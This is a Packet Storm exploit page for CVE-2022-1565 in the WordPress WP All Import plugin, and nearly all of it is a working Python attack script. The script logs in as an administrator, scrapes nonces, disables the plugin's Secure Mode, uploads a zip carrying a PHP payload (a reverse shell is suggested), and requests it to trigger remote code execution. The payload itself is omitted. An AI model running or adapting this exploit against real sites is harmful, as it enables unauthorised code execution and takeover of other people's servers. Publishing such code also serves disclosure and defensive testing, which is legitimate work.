exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP All Import 3.6.7 Remote Code Execution

WordPress WP All Import 3.6.7 Remote Code Execution
Posted Mar 30, 2023
Authored by AkuCyberSec

WordPress WP All Import plugin versions 3.6.7 and below remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2022-1565
SHA-256 | dccf0a3814eb88dba67c82869fae171f1dbd9a7437b08c75b71500c476629168

WordPress WP All Import 3.6.7 Remote Code Execution

Change Mirror Download
# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/05/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://www.wpallimport.com/
# Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)
# Version: <= 3.6.7 (tested: 3.6.7)
# Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)
# CVE: CVE-2022-1565

#!/usr/bin/python
import requests
import re
import os

# WARNING: This exploit does NOT include the payload.
# Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work.
# If a file with the same name as the payload is already on the server, the upload will OVERWRITE it
#
# Please notice that I'm NOT the researcher who found this vulnerability

# # # # # VULNERABILITY DESCRIPTION # # # # #
# The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7.
# This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible.

# # # # # HOW THE EXPLOIT WORKS # # # # #
# 1. Prepare the zip file:
# - create a PHP file with your payload (e.g. rerverse shell)
# - set the variable "payload_file_name" with the name of this file (e.g. "shell.php")
# - create a zip file with the payload
# - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip")
#
# 2. Login using an administrator account:
# - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /)
# - set the variable "admin_user" with the username of an administrator account
# - set the variable "admin_pass" with the password of an administrator account
#
# 3. Get the wpnonce using the get_wpnonce_upload_file() method
# - there are actually 2 types of wpnonce:
# - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class.
# This wpnonce allows us to change the plugin settings (check the step 4)
# - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class.
# This wpnonce allows us to upload the file
#
# 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class
# - if the Secure Mode is enabled, the zip content will be put in a folder with a random name.
# The exploit will disable the Secure Mode.
# By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url).
# The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
# - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode.
#
# 5. Upload the file using the upload_file(wpnonce_upload_file: str) method
# - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully.
# The response will contain a JSON that looks like this:
# {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"}
# As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed
#
# 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method
#
# 7. Activate the payload using the activate_payload() method
# - you can define a method to activate the payload.
# There reason behind this choice is that this exploit does NOT provide any payload.
# Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters

# # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # #
# According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page"
# I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?)
# I had to find a workaround and so I did, by exploiting this option.
# WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7

# # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # #
# In order for the exploit to work please consider the following:
# 1. check the target_url and the admin credentials
# 2. check the path of the zip file and the name of the payload (they can be different)
# 3. if you're testing locally, try to set verify_ssl_certificate on False
# 4. you can use print_response(http_response) to investigate further

# Configure the following variables:
target_url = "https://vulnerable.wp/wordpress" # Target base URL
admin_user = "admin" # Administrator username
admin_pass = "password" # Administrator password
zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip)
payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell)
verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed.

# Do NOT change the following variables
wp_login_url = target_url + "/wp-login.php" # WordPress login page
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here
re_enable_secure_mode = False
session = requests.Session()

# This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files.
class PluginSetting:
# Regular Expression patterns
pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>'
pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>'
pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};'
http_response: requests.Response
is_secure_mode_enabled: bool
wpnonce_edit_settings: str
wpnonce_upload_file: str

def __init__(self, http_response: requests.Response):
self.http_response = http_response
self.check_if_secure_mode_is_enabled()
self.retrieve_wpnonce_edit_settings()
self.retrieve_wpnonce_upload_file()

def check_if_secure_mode_is_enabled(self):
# To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked
# <input type="checkbox" value="1" id="secure" name="secure" checked="checked">
regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")
# print_response(self.http_response) # for debugging
exit()
self.is_secure_mode_enabled = "checked" in regex_search.group()

def retrieve_wpnonce_edit_settings(self):
# You can find this wpnonce in the source file by searching for the following input hidden:
# <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9">
# 052e2438f9 would be the wpnonce for editing the settings
regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")
# print_response(self.http_response) # for debugging
exit()

self.wpnonce_edit_settings = regex_search.group(1)

def retrieve_wpnonce_upload_file(self):
# You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b';
# dee75fdb8b would be the wpnonce for the upload
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")
# print_response(self.http_response) # for debugging
exit()

self.wpnonce_upload_file = regex_search.group(1)

def wp_login():
global session
data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }

# allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found.
# Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not
print("Trying to login...")
response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)

if response.status_code == 302:
print("Logged in successfully!")
return

# print_response(response) # for debugging
print("Login failed. If the credentials are correct, try to print the response to investigate further.")
exit()

def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:
global session
if set_to_enabled:
print("Enabling secure mode...")
else:
print("Disabling secure mode...")

print("Edit settings wpnonce value: " + wpnonce)
data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)

if response.status_code == 403:
print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")
# print_response(response) # for debugging
exit()
return response

def switch_back_to_secure_mode():
global session

print("Re-enabling secure mode...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

if plugin_setting.is_secure_mode_enabled:
print("Secure mode is already enabled")
return

response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
if not new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been re-enabled")
# print_response(response) # for debugging
exit()
print("Secure mode has been re-enabled!")

def get_wpnonce_upload_file() -> str:
global session, re_enable_secure_mode
# If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload
# If Secure Mode is already disabled, it just returns the wpnonce for the upload

print("Checking if secure mode is enabled...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

if not plugin_setting.is_secure_mode_enabled:
re_enable_secure_mode = False
print("Insecure mode is already enabled!")
return plugin_setting.wpnonce_upload_file

print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)

new_plugin_setting = PluginSetting(response)

if new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been disabled")
# print_response(response) # for debugging
exit()

print("Secure mode has been disabled!")
re_enable_secure_mode = True
return new_plugin_setting.wpnonce_upload_file

def upload_file(wpnonce_upload_file: str):
global session

print("Uploading file...")
print("Upload wpnonce value: " + wpnonce_upload_file)

zip_file_name = os.path.basename(zip_file_to_upload)
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}
data = { "name" : zip_file_name }
response = session.post(url=upload_url, files=files, data=data)

if response.status_code == 200:
print("Server replied with HTTP 200 OK. The upload should be completed.")
print("Payload should be here: " + payload_url)
print("If you can't find the payload at this URL, try to print the response to investigate further")
# print_response(response) # for debugging
return 1
else:
print("Something went wrong during the upload. Try to print the response to investigate further")
# print_response(response) # for debugging
return 0

def activate_payload():
global session

print("Activating payload...")
response = session.get(url=payload_url)

if response.status_code != 200:
print("Something went wrong: could not find payload at " + payload_url)
# print_response(response) # for debugging
return

def print_response(response:requests.Response):
print(response.status_code)
print(response.text)

# Entry Point
def Main():
print("Target: " + target_url)
print("Credentials: " + admin_user + ":" + admin_pass)

# Do the login
wp_login()

# Retrieve wpnonce for upload.
# It disables Secure Mode if needed, then returns the wpnonce
wpnonce_upload_file = get_wpnonce_upload_file()

# Upload the file
file_uploaded = upload_file(wpnonce_upload_file)

# Re-enable Secure Mode if needed
if re_enable_secure_mode:
switch_back_to_secure_mode()

# Activate the payload
if file_uploaded:
activate_payload()

Main()

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close